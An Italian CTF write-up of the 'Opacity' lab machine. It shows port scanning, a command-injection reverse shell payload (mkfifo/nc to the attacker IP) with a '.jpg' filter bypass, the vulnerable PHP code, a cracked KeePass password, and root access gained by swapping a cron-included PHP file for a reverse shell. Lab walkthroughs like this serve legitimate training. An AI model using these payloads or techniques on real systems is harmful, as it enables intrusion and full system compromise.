```
nmap -p- 10.10.212.23

22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
|   3072 0fee2910d98e8c53e64de3670c6ebee3 (RSA)
|   256 9542cdfc712799392d0049ad1be4cf0e (ECDSA)
|_  256 edfe9c94ca9c086ff25ca6cf4d3c8e5b (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Login
|_Requested resource was login.php
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set

139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: OPACITY, NetBIOS user: <unknown>, NetBIOS MAC:
000000000000 (Xerox)
| smb2-time:
|   date: 2023-04-08T18:52:51
|_  start_date: N/A
|_clock-skew: -1s
```

```
wfuzz -H "Host: FUZZ.opacity.thm" --hc 404,403 -c -z
file,"/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt"
http://opacity.thm
```

non ci sono vhost

Scansione direcory con gobsuter

/cloud

Nella pagina di caricamento dell'immagine remota inseriamo come url la nostra macchina
e mettiamo in ascolto nc

```
└─$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.8.8.53] from (UNKNOWN) [10.10.212.23] 39138
GET /aa.jpg HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu) <-----------------------
```

```
Accept: */*
Accept-Encoding: identity
Host: 10.8.8.53
Connection: Keep-Alive
```

Le immagini vengono caricate nel percorso remoto. Filtro sulle estensioni

ipotizzando che nella pagina php il comando wget venga richiamato con una system()
proviamo un approccio con command injection e opzioni con gtfobins. Payload funzionante:

```
|| rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.8.53 8082 >/tmp/f ||
.jpg   <---- per bypass filtro
```

Codice dell'upload php

```
if (preg_match('/\.(jpeg|jpg|png|gif)$/i', $url)) {
<------------------
        exec("wget -P /var/www/html/cloud/images {$url}");
<------------------
        echo '<div class="form-group">Transferring file..<br></div>';
        echo '<div class="form-group"><img src="load.gif" alt="loading"
width="500" ></div>';
        $name = basename($url);
        $link = "/cloud/images/$name";
        $_SESSION['link'] = $link;
```

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time
```

```
Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sysadmin:x:1000:1000:sysadmin:/home/sysadmin:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
```

su /opt troviamo un archivio keepass

```
keepass2john dataset.kdbx > data.txt
741852963        (dataset)
```

Credenziali trovate: Cl0udP4ss40p4city#8700

```
www-data@opacity:/opt$ su sysadmin
su sysadmin
Password: Cl0udP4ss40p4city#8700

sysadmin@opacity:/opt$ id
id
uid=1000(sysadmin) gid=1000(sysadmin)
groups=1000(sysadmin),24(cdrom),30(dip),46(plugdev)


sysadmin@opacity:~/scripts$ ls -lisa
total 16
527509 4 drwxr-xr-x 3 root     root     4096 Jul  8  2022 .
399245 4 drwxr-xr-x 6 sysadmin sysadmin 4096 Feb 22 08:16 ..
527510 4 drwxr-xr-x 2 sysadmin root     4096 Jul 26  2022 lib
527512 4 -rw-r----- 1 root     sysadmin  519 Jul  8  2022 script.php

527510  4 drwxr-xr-x 2 sysadmin root  4096 Jul 26  2022 .
527509  4 drwxr-xr-x 3 root     root  4096 Jul  8  2022 ..
405036 12 -rw-r--r-- 1 root     root  9458 Jul 26  2022 application.php
527511  4 -rw-r--r-- 1 root     root   967 Jul  6  2022 backup.inc.php
405038 24 -rw-r--r-- 1 root     root 24514 Jul 26  2022 bio2rdfapi.php
405039 12 -rw-r--r-- 1 root     root 11222 Jul 26  2022 biopax2bio2rdf.php
405042  8 -rw-r--r-- 1 root     root  7595 Jul 26  2022 dataresource.php
405043  8 -rw-r--r-- 1 root     root  4828 Jul 26  2022 dataset.php
405048  4 -rw-r--r-- 1 root     root  3243 Jul 26  2022 fileapi.php
```

```
405049  4 -rw-r--r-- 1 root     root  1325 Jul 26  2022 owlapi.php
405052  4 -rw-r--r-- 1 root     root  1465 Jul 26  2022 phplib.php
405053 12 -rw-r--r-- 1 root     root 10548 Jul 26  2022 rdfapi.php
405054 20 -rw-r--r-- 1 root     root 16469 Jul 26  2022 registry.php
405055  8 -rw-r--r-- 1 root     root  6862 Jul 26  2022 utils.php
405056  4 -rwxr-xr-x 1 root     root  3921 Jul 26  2022 xmlapi.php
```

script.php può essere solo letto da sysadmin, ma sysadmin ha il full control su lib.

```
//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');   <--------------------------
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;

//Files scheduled removal
$dir = "/var/www/html/cloud/images";
if(file_exists($dir)){
    $di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
    $ri = new RecursiveIteratorIterator($di,
RecursiveIteratorIterator::CHILD_FIRST);
    foreach ( $ri as $file ) {
        $file->isDir() ?  rmdir($file) : unlink($file);
    }
}
```

proviamo avendo i permessi a sostituire il file sotto lib con una reverse shell php

```
-rwxrwxrwx 1 sysadmin sysadmin  3707 Apr 14 15:08 backup.inc  <---- caricata rev
shell php
527511  4 -rw-r--r-- 1 root     root       967 Jul  6  2022 backup.inc.php
```

```
sysadmin@opacity:~/scripts/lib$ rm backup.inc.php
rm: remove write-protected regular file 'backup.inc.php'? Y

sysadmin@opacity:~/scripts/lib$ mv backup.inc backup.inc.php
```

```
└─$ nc -nvlp 8000
listening on [any] 8000 ...
connect to [10.8.8.53] from (UNKNOWN) [10.10.90.88] 46784
Linux opacity 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023
x86_64 x86_64 x86_64 GNU/Linux
 15:17:02 up 17 min,  1 user,  load average: 0.00, 0.03, 0.13
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
sysadmin pts/0    10.8.8.53        15:01   30.00s  0.11s  0.11s -bash
uid=0(root) gid=0(root) groups=0(root)
sh: 0: can't access tty; job control turned off
```

#